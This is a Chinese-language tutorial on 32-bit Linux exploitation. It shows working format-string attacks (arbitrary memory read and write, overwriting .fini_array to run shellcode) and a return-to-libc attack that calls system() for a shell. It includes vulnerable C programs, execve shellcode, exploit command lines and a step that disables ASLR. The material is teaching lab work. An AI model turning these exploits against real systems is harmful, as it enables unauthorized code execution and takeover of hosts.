概说
前面的文章演示的攻击都是在关闭了linux的各种防御机制的情况下进行的,下面我们探讨一下更高级的linux漏洞攻击技术——主要有两种:
- 格式化字符串漏洞攻击
- Return to libc 漏洞攻击
以下的程序演示是在linux 32位系统下进行的, 在linux64位系统中,因为参数的传递方式有所改变,攻击代码的位移需要变化才能适应,在后续的文章里将会演示64位系统的攻击方法,此处暂不讨论。
1. 格式化字符串漏洞攻击
与缓冲区溢出不同的是,在源代码和逆向分析中发现格式化字符串错误的机率相对小很多,因为格式化字符串的出错机率小,而且可以通过自动化工具轻易检查出来。
即便如此,格式化字符串漏洞依然值得我们关注,因为这是一个致命的漏洞。
1.1 格式化字符串是什么?
格式化字符串位于格式化函数中,下面列举比较常用的格式化函数:
- printf() 将输出结果打印到标准输入/输出
- fprintf() 将输出结果打印到文件流
- sprintf() 将输出结果打印到字符串
- snprintf() 将输出结果打印到字符串,内设(n)长度限制
1.2 格式化字符串的使用
printf()是最常见的函数,K&R的Hello World这个示例里就用到了printf(),我们用printf()这个函数来演示格式化字符串函数的使用。
1.2.1 正确的使用方式
main() {
printf("Hello, %s.\n", "World");
}
上例程序编译后运行能够输出预期的结果。
1.2.2 不正确的使用方式
main() {
printf("Hello, %s.\n");
}
上例代码,因为忘记添加%s所要取代的值,输出结果就会出人意料, 在我的机器上输出的结果如下:
Hello, Ȉ
Hello后面看上去像希腊字母的东东,并非我们预期输出想要的。还有比上面代码更糟的是下面的代码:
void main(int argc, char *argv[])
{
printf(argv[1]);
}
我们将它编译后运行:
gcc -o fmtest fmtest.c
./fmtest Testing%s
Testing¿x¾¿Ÿ¾¿
出现了上面同样的问题,但这段代码更加致命,因为可以通过参数(argv)去控制格式化字符串的输入,要弄懂会发生什么致命的问题,我们需要研究栈是如何操作格式化函数的。
1.3 格式化函数的栈操作
我们使用如下程序去演示格式化函数的栈操作:
/* fmtstack.c */
void main()
{
int one = 1, two = 2, three = 3;
printf("Testing %d, %d, %d!\n", one, two, three);
}
$gcc -g -o fmtstack fmtstack.c
我们用gdb查看一下printf()的堆栈结构:
$ gdb fmtstack
(gdb) b printf
Breakpoint 1 at 0x80482e0
(gdb) start
Temporary breakpoint 2 at 0x804841c: file fmtstack.c, line 5.
Starting program: /root/printf/fmtstack
Temporary breakpoint 2, main () at fmtstack.c:5
5 int one = 1, two = 2, three = 3;
(gdb) step
Breakpoint 1, __printf (format=0x80484d0 "Testing %d, %d, %d!\n") at printf.c:28
28 printf.c: No such file or directory.
(gdb) i frame
Stack level 0, frame at 0xbffff6a0:
eip = 0xb7e4cf90 in __printf (printf.c:28); saved eip = 0x8048444
called by frame at 0xbffff6e0
source language c.
Arglist at 0xbffff698, args: format=0x80484d0 "Testing %d, %d, %d!\n"
Locals at 0xbffff698, Previous frame's sp is 0xbffff6a0
Saved registers:
eip at 0xbffff69c
(gdb) x/8w 0xbffff6a0
0xbffff6a0: 134513872 1 2 3
留意上面gdb最后的输出,正是printf()的帧栈内容(Previous frame's sp is 0xbffff6a0), 下图更能形象地的展示printf()执行时的堆栈格式:
如图,printf()维护着一个内部指针,刚开始时该指针指向的是格式化字符串,然后开始将格式化字符串打印到标标输出(STDIO),直到遇到一个特殊字符。
如果是 %, 那么printf()会期望着后面跟着一个格式控制符,因此将内部指针递增(向帧栈底部方向)以抓取格式 控制符的输入值(一个变量或绝对值)。
问题就在这里:printf()无法知道栈上是否放置了正确的数目的变量或值可供它操作。即使没有提供足够数目的参数,但printf()的指针还是会往下移动,抓取下一个值以满足格式化字符串的需要。
1.4 格式化字符串的漏洞影响
在最好的情况下,栈值可能包含一个随机的十六进制数字,而格式化字符串可能会将其解释为一个越界的地址,从而导致进程出现段错误。这可以被攻击者利用实施拒绝服务攻击。
最坏的情况下,攻击者能够利用这个漏洞来读取任意数据和向任意地址写入数据。
1.5 漏洞演示
/* fmttest.c */
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[])
{
static int canary = 0;
printf(argv[1]);
printf("\n");
printf("Canary at 0x%08x = 0x%08x\n", &canary, canary);
return 0;
}
$ gcc -g -o fmttest fmttest.c
$ ./fmttest testing
testing
Canary at 0x0804a028 = 0x00000000
canary(金丝雀),本例用来点位检测printf()的越界输出。
1.5.1 使用%x映射栈
如图1所示,%x格式控制符用于提供16进制值,因此下面的程序提供几个%08x标记,能够将栈值输出来:
$./fmttest "AAAA %08x %08x %08x %08x "
AAAA bf9728ad 001ac240 001ad240 41414141
Canary at 0x0804a028 = 0x00000000
$
示例证明了格式字符串本身(AAAA:41414141)也存储在栈上,屏幕显示的第四项(取自栈)是我们的格式化字符串。如果上面的格式控制找不到这个值(AAAA),只需要继续添加格式控制符(%08x)的数目,一定可以找到它。
1.5.2 用%s读取任意字符串
因为我们控制着格式字符串的输入,所以我们可以读取该程序的任意内存里的数据。
# ./fmttest "AAAA %08x %08x %08x %s "
Segmentation fault
My god! Segmentation fault! 为什么呢? 因为%s要读取的内存地址0x41414141里的数据,这个地址不受该程序管理,所以就Segmentation fault了。
我们只需要提供有效的地址,就不会出现Segmentation fault了。
下面我们用 0xbffffffa 这个地址来测试下:
./fmttest `printf "\xfa\xff\xff\xbf"`"%08x %08x %08x %s"
ffff8b1 001ac240 001ad240 t
Canary at 0x0804a028 = 0x00000000
程序预期打印了“t”出来, 而0xbffffffa里的内容为什么是t是呢?我在前面的文章里提到过,每个程序的栈顶都是从最高的地址0xbfffffff(7个f) 开始的,开始有4个字符为空字节,然后就是程序名字,而我们演示的程序名字为fmttest,最后一个字母是“t”,所以上例打印了一个“t”出来。
我们可以用gdb验证一下:
(gdb) x/8s 0xbffffffa
0xbffffffa: "t"
0xbffffffc: ""
0xbffffffd: ""
0xbffffffe: ""
0xbfffffff: ""
(gdb) x/8s 0xbfffffe0
0xbfffffe0: "user/0"
0xbfffffe7: "/root/printf/fmttest"
0xbffffffc: ""
0xbffffffd: ""
0xbffffffe: ""
0xbfffffff: ""
1.5.3 利用直接参数访问来简化处理
我们可以通过直接参数访问技术从栈上访问第四个参数,方法是使用 #$格式控制指示:
./fmttest `printf "\xfa\xff\xff\xbf"`"%08x %4\$s"
ffff8bb t
Canary at 0x0804a028 = 0x00000000
上例的 “%4$s” 即是直接参数访问技术的应用, 其中的''是跳脱符号,避免SHELL将$解释。通过这个技术,大大方便了我们对参数的访问。
1.6 利用格式化字符串漏洞改写任意内存数据
向内存中写入4个字节的方法是将其划分成两块(两个高位字节和两个低位字节),然后使用#$和%hn将它们放入到正确的位置。
例如,我们要将 0xbffffffa 写入内存 0x0804a028 ——示例代码的 canary(金丝雀)的地址,首先把值拆分:
两个高位字节(HOB): 0xbfff
两个低位字节(LOB): 0xffff
然后通过魔术计算公式构造一个格式化字符串:
"\x2a\xa0\x04\x08\x28\xa0\x04\x08 %.49143x%4$hn%.16379x%5$hn"
# ./fmttest `printf "\x2a\xa0\x04\x08\x28\xa0\x04\x08"`%.49143x%4\$hn%.16379x%5\$hn
(这里省略一大堆输出)
Canary at 0x0804a028 = 0xbffffffa
示例成功的将canary的内容改为0xbffffffa 。
构建示例所用的公式请对照下图(魔术公式表):
1.7 利用格式化字符串漏洞改变程序执行
我们重写一些位置就可以改变程序的执行,可以供我们利用的位置有很多,例如:
.fini_arry 应用程序结束时需要运行的函数列表
.global_offset_table 全局偏移表,用来记录和定位位置无关的代码(动态链接)
全局的函数指针
堆栈值
程序特定的身份验证变量
只要用我们准备好的shellcode的地址替换了上述的位置,程序就会按照我们的意愿去运行,下面我们来演示一下这些步骤。
1.7.1 准备shellcode
先写个简单的shellcode备用
.section .text
.global _start
_start:
xorl %eax, %eax
pushl %eax
pushl $0x68732f2f ;//sh
pushl $0x6e69622f ;/bin
movl %esp, %ebx
pushl %eax
pushl %ebx
movl %esp, %ecx
xorl %edx, %edx
mov $0xb, %al
int $0x80
上面的代码主要实现一个基本的shell,编译成机器码后,用objdump抓取出十六进制的代码:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
再将它写入环境变量里:
# export SC='\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'
然后取这个环境变量的地址:
# ./getenv SC
SC if located at 0xbffffee0
这里再提一提, 记得将测试系统的ASLR(地址空间布局随机化)关闭
关闭方法: echo 0 > /proc/sys/kernel/randomize_va_space
Ok, shellcode 已经准备就绪。
1.7.2 开始注入shellcode
下面我们利用程序的.fini_array的地址注入shellcode
# nm ./fmttest | grep -i fini
08049f0c t __do_global_dtors_aux_fini_array_entry
08048564 T _fini
08048560 T __libc_csu_fini
0x08049f0c 是 fini_array的入口地址,我们将返回地址(shellcode的地址)重写到它里面的某个指针,那么程序将会跳到这个位置并执行。只要将入口地址加上4字节,就是这个array第一个指针的位置:
08049f0c + 4 = 08049f10
根据图3的魔术计算公式计算所需的格式化字符串,并用shellcode的地址0xbffffee0重写 08049f10 的值。
./fmttest `printf "\x12\x9f\x04\x08\x10\x9f\x04\x08"`%.49143x%4\$hn%.16097x%5\$hn
成功!
2. Return to libc 漏洞攻击
这是一种绕过不可执行栈内存保护机制的技术,它使用受控制的ip(指令指针)将执行控制权返回到现有的libc函数。libc是被所有程序使用的无处不在的C函数库,这个库包含像exit()和system()这样的函数,而最令人关注的是system()这个函数,它用于在系统中运行程序。
利用system(),仅构造一个新栈就可以让它调用我们所选择的程序,如/bin/sh。
为了进行正确的system()函数调用,需要将栈变成下图的样子:
我们将使用漏洞缓冲区溢出,用system()函数的地址准备地重写这前保存的【ip】。
当存在漏洞的main()返回时,程序将返回到system()函数,程序进入system()并在标记为填充物之上的位置重构栈帧。
同样,我样需要关闭栈随机化ASLR
接下来我们写一个带有漏洞的程序作为演示:
/* filename: retlibc.c */
#include <string.h>
int main(int argc, char *argv[])
{
char buf[8];
strcpy(buf, argv[1]);
return 0;
}
我们还需要以下关键的信息:
- libc函数system()的地址
- 字符串/bin/sh的地址
通过gdb,我们很容易就能得到system()的地址:
gdb -q retlibc
Reading symbols from retlibc...done.
(gdb) start
Temporary breakpoint 1 at 0x804841e: file retlibc.c, line 6.
Starting program: /root/returnlibc/retlibc
Temporary breakpoint 1, main (argc=1, argv=0xbffff704) at retlibc.c:6
6 strcpy(buf, argv[1]);
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7e3e850 <__libc_system>
(gdb)
至于 /bin/sh 的地址我们可以利用保存在环境变量里的SHELL的值,亦是通过gdb找地址:
先用getenv找出SHELL的地址,然后在gdb里定位/bin/bash的地址
# getenv SHELL
SHELL if located at 0xbffff873
# gdb retlibc
(gdb) x/8s 0xbffff873
0xbffff873: "H_CLIENT=192.168.1.106 58246 22"
0xbffff893: "SSH_TTY=/dev/pts/5"
0xbffff8a6: "USER=root"
(gdb) x/8s 0xbffff860
0xbffff860: "/bash"
0xbffff866: "TERM=linux"
0xbffff871: "SSH_CLIENT=192.168.1.106 58246 22"
0xbffff893: "SSH_TTY=/dev/pts/5"
0xbffff8a6: "USER=root"
(gdb) x/8s 0xbffff85c
0xbffff85c: "/bin/bash"
0xbffff866: "TERM=linux"
好了,我们已准备好需要的信息:
- system() 的地址: 0xb7e3e850
- /bin/bash 的址址: 0xbffff85c
下面,将这些合一起,可以看到:
$ retlibc `perl -e 'print "\x50\xe8\xe3\xb7"x6,"XXXX","\x5c\xf8\xff\xb7"'`
#
到此,成功获得shell。
使用“return to libc”, 就能将程序流程导向二进制代码的其他部分。通过将返回路径加载到函数上,当我们重写EIP时,就能将程序流程导向该应用程序的其它部分。因为已经将有效的返回地址和数据位置加载到了栈上,因此应用程序不会知道它已被改变,这使我们能够利用这些技术来启动目标shell。
利用环境变量来抓取字符串/bin/sh,地址会相对有变化,下面介绍另外的方法,通过一个小程序来取得libc函数的地址,通过搜查内存来得到/bin/sh的地址。
/* filename: searhcbin.c */
/* Search routine, based on Solar Designer's lpr exploit. */
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <signal.h>
#include <setjmp.h>
#include <string.h>
int step;
jmp_buf env;
void fault() {
if (step < 0)
longjmp(env, 1);
else {
printf("Can't find /bin/sh in libc, use env instead...\n");
exit(1);
}
}
int main(int argc, char *argv[])
{
void * handle;
int * sysaddr, * exitaddr;
long shell;
char examp[512];
char * args[3];
char * envs[1];
long * lp;
handle = dlopen(NULL, RTLD_LOCAL);
*(void **)(&sysaddr) = dlsym(handle, "system");
sysaddr += 4096; /* 4096*4 = 16384 = 0x4000 = base addr */
printf("system() found at %08x\n", sysaddr);
*(void **)(&exitaddr) = dlsym(handle, "exit");
exitaddr += 4096;
printf("exit() found at %08x\n", exitaddr);
/* Now search for /bin/sh using Solar Designer's approach */
if (setjmp(env))
step = 1;
else
step = -1;
shell = (int)sysaddr;
signal(SIGSEGV, fault);
do
while(memcmp((void *)shell, "/bin/sh", 8)) shell += step;
while(!(shell & 0xff) || !(shell & 0xff00) || !(shell & 0xff0000)
|| !(shell & 0xff000000));
printf("\"/bin/sh\" found at %08x\n", shell + 16384); /* 13684 = 0x4000 = base addr */
return 0;
}
参考文献:
Advanced return-into-lib(c) Exploits
Gray Hat Hacking , The Ethical Hacker's Hanbook
Exploiting Software: How to Break Code